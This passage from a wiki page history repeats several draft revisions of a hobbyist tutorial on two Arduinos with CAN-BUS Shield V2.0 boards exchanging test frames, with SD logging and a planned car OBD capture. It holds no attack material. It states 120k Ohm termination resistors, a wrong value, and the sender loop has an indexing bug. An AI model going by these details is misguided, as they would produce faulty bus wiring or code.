const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

unsigned char stmp[8] = {0, 0, 0, 0, 0, 0, 0, 0};
void loop() {
// send data: id = 0x00, standrad frame, data len = 8, stmp: data buf
stmp[7] = stmp[7] + 1;
if (stmp[7] == 100) {
stmp[7] = 0;
stmp[6] = stmp[6] + 1;

if (stmp[6] == 100) {
stmp[6] = 0;
stmp[5] = stmp[6] + 1;
}
}

CAN.sendMsgBuf(0x00, 0, 8, stmp);
delay(100); // send data per 100ms
SERIAL.println("CAN BUS sendMsgBuf ok!");
}
</syntaxhighlight>

Next we need the code for the receiving node.
<syntaxhighlight lang="c">
#include <SPI.h>

#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515

#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

void loop() {
unsigned char len = 0;
unsigned char buf[8];

if (CAN_MSGAVAIL == CAN.checkReceive()) { // check if data coming
CAN.readMsgBuf(&len, buf); // read data, len: data length, buf: data buf

unsigned long canId = CAN.getCanId();

SERIAL.println("-----------------------------");
SERIAL.print("Get data from ID: 0x");
SERIAL.println(canId, HEX);

for (int i = 0; i < len; i++) { // print the data
SERIAL.print(buf[i], HEX);
SERIAL.print("\t");
}
SERIAL.println();
}
}
</syntaxhighlight>

==== Step 4 ====
When both Arduinos are flashed correctly the will start blinking. The sending nodes TX and RX LEDs will blink as CAN transceivers listen and write to the bus simultaneously. On the receiving node the RX and the INT LEDs will start to blink. Everytime a CAN message is received an interrupt is triggered to run the specified function which in this case is printing the raw data to SERIAL:

[[File:Nodes_talking.gif]]

[[File:Nodes_talking_console.JPG|1000 px]]

=== Taking it further ===

Next we aim to build a CAN message reader for a real car. Therefore we somehow need to save the captured packets somwhere. The CAN-BUS Shield V2.0 comes with a built in memory card slot. We will utilize it and save captured data onto it. In order to do that we need to include the SD.h header file.

<syntaxhighlight lang="c">
#include <SD.h>
</syntaxhighlight>

In the setup function we need to activate SD module.
<syntaxhighlight lang="c">
if (!SD.begin(4))
{
SERIAL.println("SD Card init failed. Check PIN");
}
</syntaxhighlight>

After this has happend we can start opening a file and writing to it.
<syntaxhighlight lang="c">

File dataFile = SD.open("can.log", FILE_WRITE);
if (dataFile)
{
dataFile.println("-----------------------------");
dataFile.print("Get data from ID: 0x");
dataFile.println(canId, HEX);
for (int i = 0; i < len; i++)
{ // print the data
dataFile.print(buf[i], HEX);
dataFile.print("\t");
}
dataFile.println();
dataFile.close();
}
else
{
Serial.println("error opening datalog.txt");
}
</syntaxhighlight>

Unfortunately I ran into troubles with the writing speeds. CAN is sending data way much faster than it can be written to a file so the Arduino starts to stuck and cannot open the file anymore. A file on a SD card can take up to 50ms for opening. The lab was setup with a frequency of 100ms. In a real world card the freuquency would be much higher so logging on the SD card won't work.

=== Used Hardware ===

2 x [[Arduino Board Uno Rev3 DIP Version, ATmega328, USB]]

2 x [[CAN-BUS Shield V2.0]]

2 x Jumper wires

2 x USB 2.0 B to USB 2.0 A cables

== References ==

* https://wikipedia.org
* https://google.com
* https://ww1.microchip.com/downloads/en/DeviceDoc/MCP2515-Stand-Alone-CAN-Controller-with-SPI-20001801J.pdf
* https://www.bosch.com/de/stories/das-controller-area-network/
* https://wiki.seeedstudio.com/CAN-BUS_Shield_V2.0/

[[Category:Documentation]]

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-23T20:14:03Z

NStrasser:

(DRAFT)

== Summary ==

This documentation introduces the CAN-BUS Shield V2.0 and all its key facts. It also contains an example implementation, which is able to read and write CAN messages. In another step a real car communication is captured and presented.

== Hardware details ==

The CAN-BUS Shield V2.0 is an add-on shield which can be used with an Arduino Board. It comes with the MCP2515 CAN Bus Controller and the MCP2551 CAN transceiver. When used with an appropriate OBD 2.0 cable and library it can function as a diagnostic tool for a car.

[[File:InkedCAN-BUS_Shield_V2.0_desc_LI.jpg|500 px]]

# Terminal: CAN-H, CAN-L
# Led Indicator: PWR=power;TX=blink when the data is sending;RX=blink when there's data receiving;INT=data interrupt
# V_OBD: Indicates if the power comes from OBD
# DB9 Interface: to connect to OBD 2.0 via DB9-OBDII-cable
# Arduino Pinouts
# I2C Connector
# Serial Connector
# ICSP Pins

CAN is the abbrevation for Controller Area Network and is a common and reliable bus system. It is used in almost every car built after 1994. CAN was founded by BOSCH primarily to shrink cable harness within cars. This bus is robust because of its differential signal transmission which basically means that the difference between CAN-H and CAN-L signal is used to determine which bit was transfered. CAN uses a broadcast to transfer messages. Each message contains an identifier with which the priority is negotiated. In a real world example the CAN Bus is terminated on each end with a 120k Ohm resistor. Because this is a lab setup and the distance of the CAN Bus is minimal it is not neccessary to terminate the bus with 120k Ohm resistors.

In order to complete the following steps, you should be familiar with the Arduino UNO and the Arduino IDE.

== Hands on lab ==

=== Description ===

In order to create a functioning CAN message reader we need to set up a lab, which consits of two CAN-BUS Shield V2.0 and two Arduino UNOs. The Arduinos will be used to simulate two ECUs, where one of them sends the data and the other is receives it. After this works as planned we will take a step further and integrate the CANtact Bundle cable. This will enable is to take the CAN-Node (Arduino and CAN-Shield) and plug it into the cars OBD 2.0 port in order to see what is going on on the car CAN-BUS.
[[File:CAN-BUS_Shield_V2.0.jpg|thumb|CAN-BUS Shield V2.0]]
[[File:Arduino_Uno.jpg|thumb|Arduino UNO]]
[[File:CANtext_Bundle.jpg|thumb|CANtact Bundle]]

----

==== Step 1 ====

Pigiback the CAN shields onto the Arduinos and connect both terminals. Bare in mind connecting CAN-H on the first board with CAN-H on the second board and CAN-L on the first board with CAN-L on the second board. This would look something like this:

[[File:Arduino_ECUs_connected.jpg|500 px]]

==== Step 2 ====
Download and install the Arduino IDE. Afterwards we need to install the CAN-Shield library which can be found here https://github.com/Seeed-Studio/Seeed_Arduino_CAN. Download this repository as zip file and import it to the Arduino IDE:
[[File:Add_lib.JPG|750px]]

==== Step 3 ====
Next we are going to need a sending node, which will send CAN messages at periodic intervalls and we will need an receiving node, which listens on the CAN Bus and creates an interrupt everytime a package is received.

The following code is based on the send example from the library and needs to be flashed on the first node.
<syntaxhighlight lang="c">
#include <SPI.h>
#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515
#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

unsigned char stmp[8] = {0, 0, 0, 0, 0, 0, 0, 0};
void loop() {
// send data: id = 0x00, standrad frame, data len = 8, stmp: data buf
stmp[7] = stmp[7] + 1;
if (stmp[7] == 100) {
stmp[7] = 0;
stmp[6] = stmp[6] + 1;

if (stmp[6] == 100) {
stmp[6] = 0;
stmp[5] = stmp[6] + 1;
}
}

CAN.sendMsgBuf(0x00, 0, 8, stmp);
delay(100); // send data per 100ms
SERIAL.println("CAN BUS sendMsgBuf ok!");
}
</syntaxhighlight>

Next we need the code for the receiving node.
<syntaxhighlight lang="c">
#include <SPI.h>

#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515

#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

void loop() {
unsigned char len = 0;
unsigned char buf[8];

if (CAN_MSGAVAIL == CAN.checkReceive()) { // check if data coming
CAN.readMsgBuf(&len, buf); // read data, len: data length, buf: data buf

unsigned long canId = CAN.getCanId();

SERIAL.println("-----------------------------");
SERIAL.print("Get data from ID: 0x");
SERIAL.println(canId, HEX);

for (int i = 0; i < len; i++) { // print the data
SERIAL.print(buf[i], HEX);
SERIAL.print("\t");
}
SERIAL.println();
}
}
</syntaxhighlight>

==== Step 4 ====
When both Arduinos are flashed correctly the will start blinking. The sending nodes TX and RX LEDs will blink as CAN transceivers listen and write to the bus simultaneously. On the receiving node the RX and the INT LEDs will start to blink. Everytime a CAN message is received an interrupt is triggered to run the specified function which in this case is printing the raw data to SERIAL:

[[File:Nodes_talking.gif]]

[[File:Nodes_talking_console.JPG|1000 px]]

=== Used Hardware ===

2 x [[Arduino Board Uno Rev3 DIP Version, ATmega328, USB]]

2 x [[CAN-BUS Shield V2.0]]

2 x Jumper wires

2 x USB 2.0 B to USB 2.0 A cables

== References ==

* https://wikipedia.org
* https://google.com
* https://ww1.microchip.com/downloads/en/DeviceDoc/MCP2515-Stand-Alone-CAN-Controller-with-SPI-20001801J.pdf
* https://www.bosch.com/de/stories/das-controller-area-network/
* https://wiki.seeedstudio.com/CAN-BUS_Shield_V2.0/

[[Category:Documentation]]

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-23T20:12:59Z

NStrasser: /* Used Hardware */

(DRAFT)

== Summary ==

This documentation introduces the CAN-BUS Shield V2.0 and all its key facts. It also contains an example implementation, which is able to read and write CAN messages. In another step a real car communication is captured and presented.

== CAN-BUS Shield V2.0 ==

The CAN-BUS Shield V2.0 is an add-on shield which can be used with an Arduino Board. It comes with the MCP2515 CAN Bus Controller and the MCP2551 CAN transceiver. When used with an appropriate OBD 2.0 cable and library it can function as a diagnostic tool for a car.

[[File:InkedCAN-BUS_Shield_V2.0_desc_LI.jpg|500 px]]

# Terminal: CAN-H, CAN-L
# Led Indicator: PWR=power;TX=blink when the data is sending;RX=blink when there's data receiving;INT=data interrupt
# V_OBD: Indicates if the power comes from OBD
# DB9 Interface: to connect to OBD 2.0 via DB9-OBDII-cable
# Arduino Pinouts
# I2C Connector
# Serial Connector
# ICSP Pins

CAN is the abbrevation for Controller Area Network and is a common and reliable bus system. It is used in almost every car built after 1994. CAN was founded by BOSCH primarily to shrink cable harness within cars. This bus is robust because of its differential signal transmission which basically means that the difference between CAN-H and CAN-L signal is used to determine which bit was transfered. CAN uses a broadcast to transfer messages. Each message contains an identifier with which the priority is negotiated. In a real world example the CAN Bus is terminated on each end with a 120k Ohm resistor. Because this is a lab setup and the distance of the CAN Bus is minimal it is not neccessary to terminate the bus with 120k Ohm resistors.

In order to complete the following steps, you should be familiar with the Arduino UNO and the Arduino IDE.

=== Description ===

In order to create a functioning CAN message reader we need to set up a lab, which consits of two CAN-BUS Shield V2.0 and two Arduino UNOs. The Arduinos will be used to simulate two ECUs, where one of them sends the data and the other is receives it. After this works as planned we will take a step further and integrate the CANtact Bundle cable. This will enable is to take the CAN-Node (Arduino and CAN-Shield) and plug it into the cars OBD 2.0 port in order to see what is going on on the car CAN-BUS.
[[File:CAN-BUS_Shield_V2.0.jpg|thumb|CAN-BUS Shield V2.0]]
[[File:Arduino_Uno.jpg|thumb|Arduino UNO]]
[[File:CANtext_Bundle.jpg|thumb|CANtact Bundle]]

----

==== Step 1 ====

Pigiback the CAN shields onto the Arduinos and connect both terminals. Bare in mind connecting CAN-H on the first board with CAN-H on the second board and CAN-L on the first board with CAN-L on the second board. This would look something like this:

[[File:Arduino_ECUs_connected.jpg|500 px]]

==== Step 2 ====
Download and install the Arduino IDE. Afterwards we need to install the CAN-Shield library which can be found here https://github.com/Seeed-Studio/Seeed_Arduino_CAN. Download this repository as zip file and import it to the Arduino IDE:
[[File:Add_lib.JPG|750px]]

==== Step 3 ====
Next we are going to need a sending node, which will send CAN messages at periodic intervalls and we will need an receiving node, which listens on the CAN Bus and creates an interrupt everytime a package is received.

The following code is based on the send example from the library and needs to be flashed on the first node.
<syntaxhighlight lang="c">
#include <SPI.h>
#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515
#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

unsigned char stmp[8] = {0, 0, 0, 0, 0, 0, 0, 0};
void loop() {
// send data: id = 0x00, standrad frame, data len = 8, stmp: data buf
stmp[7] = stmp[7] + 1;
if (stmp[7] == 100) {
stmp[7] = 0;
stmp[6] = stmp[6] + 1;

if (stmp[6] == 100) {
stmp[6] = 0;
stmp[5] = stmp[6] + 1;
}
}

CAN.sendMsgBuf(0x00, 0, 8, stmp);
delay(100); // send data per 100ms
SERIAL.println("CAN BUS sendMsgBuf ok!");
}
</syntaxhighlight>

Next we need the code for the receiving node.
<syntaxhighlight lang="c">
#include <SPI.h>

#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515

#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

void loop() {
unsigned char len = 0;
unsigned char buf[8];

if (CAN_MSGAVAIL == CAN.checkReceive()) { // check if data coming
CAN.readMsgBuf(&len, buf); // read data, len: data length, buf: data buf

unsigned long canId = CAN.getCanId();

SERIAL.println("-----------------------------");
SERIAL.print("Get data from ID: 0x");
SERIAL.println(canId, HEX);

for (int i = 0; i < len; i++) { // print the data
SERIAL.print(buf[i], HEX);
SERIAL.print("\t");
}
SERIAL.println();
}
}
</syntaxhighlight>

==== Step 4 ====
When both Arduinos are flashed correctly the will start blinking. The sending nodes TX and RX LEDs will blink as CAN transceivers listen and write to the bus simultaneously. On the receiving node the RX and the INT LEDs will start to blink. Everytime a CAN message is received an interrupt is triggered to run the specified function which in this case is printing the raw data to SERIAL:

[[File:Nodes_talking.gif]]

[[File:Nodes_talking_console.JPG|1000 px]]

=== Used Hardware ===

2 x [[Arduino Board Uno Rev3 DIP Version, ATmega328, USB]]

2 x [[CAN-BUS Shield V2.0]]

2 x Jumper wires

2 x USB 2.0 B to USB 2.0 A cables

== References ==

* https://wikipedia.org
* https://google.com
* https://ww1.microchip.com/downloads/en/DeviceDoc/MCP2515-Stand-Alone-CAN-Controller-with-SPI-20001801J.pdf
* https://www.bosch.com/de/stories/das-controller-area-network/
* https://wiki.seeedstudio.com/CAN-BUS_Shield_V2.0/

[[Category:Documentation]]

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-23T20:10:09Z

NStrasser:

(DRAFT)

== Summary ==

This documentation introduces the CAN-BUS Shield V2.0 and all its key facts. It also contains an example implementation, which is able to read and write CAN messages. In another step a real car communication is captured and presented.

== CAN-BUS Shield V2.0 ==

The CAN-BUS Shield V2.0 is an add-on shield which can be used with an Arduino Board. It comes with the MCP2515 CAN Bus Controller and the MCP2551 CAN transceiver. When used with an appropriate OBD 2.0 cable and library it can function as a diagnostic tool for a car.

[[File:InkedCAN-BUS_Shield_V2.0_desc_LI.jpg|500 px]]

# Terminal: CAN-H, CAN-L
# Led Indicator: PWR=power;TX=blink when the data is sending;RX=blink when there's data receiving;INT=data interrupt
# V_OBD: Indicates if the power comes from OBD
# DB9 Interface: to connect to OBD 2.0 via DB9-OBDII-cable
# Arduino Pinouts
# I2C Connector
# Serial Connector
# ICSP Pins

CAN is the abbrevation for Controller Area Network and is a common and reliable bus system. It is used in almost every car built after 1994. CAN was founded by BOSCH primarily to shrink cable harness within cars. This bus is robust because of its differential signal transmission which basically means that the difference between CAN-H and CAN-L signal is used to determine which bit was transfered. CAN uses a broadcast to transfer messages. Each message contains an identifier with which the priority is negotiated. In a real world example the CAN Bus is terminated on each end with a 120k Ohm resistor. Because this is a lab setup and the distance of the CAN Bus is minimal it is not neccessary to terminate the bus with 120k Ohm resistors.

In order to complete the following steps, you should be familiar with the Arduino UNO and the Arduino IDE.

=== Description ===

In order to create a functioning CAN message reader we need to set up a lab, which consits of two CAN-BUS Shield V2.0 and two Arduino UNOs. The Arduinos will be used to simulate two ECUs, where one of them sends the data and the other is receives it. After this works as planned we will take a step further and integrate the CANtact Bundle cable. This will enable is to take the CAN-Node (Arduino and CAN-Shield) and plug it into the cars OBD 2.0 port in order to see what is going on on the car CAN-BUS.
[[File:CAN-BUS_Shield_V2.0.jpg|thumb|CAN-BUS Shield V2.0]]
[[File:Arduino_Uno.jpg|thumb|Arduino UNO]]
[[File:CANtext_Bundle.jpg|thumb|CANtact Bundle]]

----

==== Step 1 ====

Pigiback the CAN shields onto the Arduinos and connect both terminals. Bare in mind connecting CAN-H on the first board with CAN-H on the second board and CAN-L on the first board with CAN-L on the second board. This would look something like this:

[[File:Arduino_ECUs_connected.jpg|500 px]]

==== Step 2 ====
Download and install the Arduino IDE. Afterwards we need to install the CAN-Shield library which can be found here https://github.com/Seeed-Studio/Seeed_Arduino_CAN. Download this repository as zip file and import it to the Arduino IDE:
[[File:Add_lib.JPG|750px]]

==== Step 3 ====
Next we are going to need a sending node, which will send CAN messages at periodic intervalls and we will need an receiving node, which listens on the CAN Bus and creates an interrupt everytime a package is received.

The following code is based on the send example from the library and needs to be flashed on the first node.
<syntaxhighlight lang="c">
#include <SPI.h>
#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515
#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

unsigned char stmp[8] = {0, 0, 0, 0, 0, 0, 0, 0};
void loop() {
// send data: id = 0x00, standrad frame, data len = 8, stmp: data buf
stmp[7] = stmp[7] + 1;
if (stmp[7] == 100) {
stmp[7] = 0;
stmp[6] = stmp[6] + 1;

if (stmp[6] == 100) {
stmp[6] = 0;
stmp[5] = stmp[6] + 1;
}
}

CAN.sendMsgBuf(0x00, 0, 8, stmp);
delay(100); // send data per 100ms
SERIAL.println("CAN BUS sendMsgBuf ok!");
}
</syntaxhighlight>

Next we need the code for the receiving node.
<syntaxhighlight lang="c">
#include <SPI.h>

#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515

#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

void loop() {
unsigned char len = 0;
unsigned char buf[8];

if (CAN_MSGAVAIL == CAN.checkReceive()) { // check if data coming
CAN.readMsgBuf(&len, buf); // read data, len: data length, buf: data buf

unsigned long canId = CAN.getCanId();

SERIAL.println("-----------------------------");
SERIAL.print("Get data from ID: 0x");
SERIAL.println(canId, HEX);

for (int i = 0; i < len; i++) { // print the data
SERIAL.print(buf[i], HEX);
SERIAL.print("\t");
}
SERIAL.println();
}
}
</syntaxhighlight>

==== Step 4 ====
When both Arduinos are flashed correctly the will start blinking. The sending nodes TX and RX LEDs will blink as CAN transceivers listen and write to the bus simultaneously. On the receiving node the RX and the INT LEDs will start to blink. Everytime a CAN message is received an interrupt is triggered to run the specified function which in this case is printing the raw data to SERIAL:

[[File:Nodes_talking.gif]]

[[File:Nodes_talking_console.JPG|1000 px]]

=== Used Hardware ===

[[Arduino UNO]]

[[CAN-BUS Shield V2.0]]

[[2 x Jumper wires]]

[[2 x USB 2.0 B to USB 2.0 A cables]]

== References ==

* https://wikipedia.org
* https://google.com
* https://ww1.microchip.com/downloads/en/DeviceDoc/MCP2515-Stand-Alone-CAN-Controller-with-SPI-20001801J.pdf
* https://www.bosch.com/de/stories/das-controller-area-network/
* https://wiki.seeedstudio.com/CAN-BUS_Shield_V2.0/

[[Category:Documentation]]

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-23T20:09:35Z

NStrasser:

(DRAFT)

== Summary ==

This documentation introduces the CAN-BUS Shield V2.0 and all its key facts. It also contains an example implementation, which is able to read and write CAN messages. In another step a real car communication is captured and presented.

== CAN-BUS Shield V2.0 ==

The CAN-BUS Shield V2.0 is an add-on shield which can be used with an Arduino Board. It comes with the MCP2515 CAN Bus Controller and the MCP2551 CAN transceiver. When used with an appropriate OBD 2.0 cable and library it can function as a diagnostic tool for a car.

[[File:InkedCAN-BUS_Shield_V2.0_desc_LI.jpg|500 px]]

# Terminal: CAN-H, CAN-L
# Led Indicator: PWR=power;TX=blink when the data is sending;RX=blink when there's data receiving;INT=data interrupt
# V_OBD: Indicates if the power comes from OBD
# DB9 Interface: to connect to OBD 2.0 via DB9-OBDII-cable
# Arduino Pinouts
# I2C Connector
# Serial Connector
# ICSP Pins

CAN is the abbrevation for Controller Area Network and is a common and reliable bus system. It is used in almost every car built after 1994. CAN was founded by BOSCH primarily to shrink cable harness within cars. This bus is robust because of its differential signal transmission which basically means that the difference between CAN-H and CAN-L signal is used to determine which bit was transfered. CAN uses a broadcast to transfer messages. Each message contains an identifier with which the priority is negotiated. In a real world example the CAN Bus is terminated on each end with a 120k Ohm resistor. Because this is a lab setup and the distance of the CAN Bus is minimal it is not neccessary to terminate the bus with 120k Ohm resistors.

In order to complete the following steps, you should be familiar with the Arduino UNO and the Arduino IDE.

=== Description ===

In order to create a functioning CAN message reader we need to set up a lab, which consits of two CAN-BUS Shield V2.0 and two Arduino UNOs. The Arduinos will be used to simulate two ECUs, where one of them sends the data and the other is receives it. After this works as planned we will take a step further and integrate the CANtact Bundle cable. This will enable is to take the CAN-Node (Arduino and CAN-Shield) and plug it into the cars OBD 2.0 port in order to see what is going on on the car CAN-BUS.
[[File:CAN-BUS_Shield_V2.0.jpg|thumb|CAN-BUS Shield V2.0]]
[[File:Arduino_Uno.jpg|thumb|Arduino UNO]]
[[File:CANtext_Bundle.jpg|thumb|CANtact Bundle]]

----

==== Step 1 ====

Pigiback the CAN shields onto the Arduinos and connect both terminals. Bare in mind connecting CAN-H on the first board with CAN-H on the second board and CAN-L on the first board with CAN-L on the second board. This would look something like this:

[[File:Arduino_ECUs_connected.jpg|500 px]]

==== Step 2 ====
Download and install the Arduino IDE. Afterwards we need to install the CAN-Shield library which can be found here https://github.com/Seeed-Studio/Seeed_Arduino_CAN. Download this repository as zip file and import it to the Arduino IDE:
[[File:Add_lib.JPG|750px]]

==== Step 3 ====
Next we are going to need a sending node, which will send CAN messages at periodic intervalls and we will need an receiving node, which listens on the CAN Bus and creates an interrupt everytime a package is received.

The following code is based on the send example from the library and needs to be flashed on the first node.
<syntaxhighlight lang="c">
#include <SPI.h>
#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515
#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

unsigned char stmp[8] = {0, 0, 0, 0, 0, 0, 0, 0};
void loop() {
// send data: id = 0x00, standrad frame, data len = 8, stmp: data buf
stmp[7] = stmp[7] + 1;
if (stmp[7] == 100) {
stmp[7] = 0;
stmp[6] = stmp[6] + 1;

if (stmp[6] == 100) {
stmp[6] = 0;
stmp[5] = stmp[6] + 1;
}
}

CAN.sendMsgBuf(0x00, 0, 8, stmp);
delay(100); // send data per 100ms
SERIAL.println("CAN BUS sendMsgBuf ok!");
}
</syntaxhighlight>

Next we need the code for the receiving node.
<syntaxhighlight lang="c">
#include <SPI.h>

#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515

#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
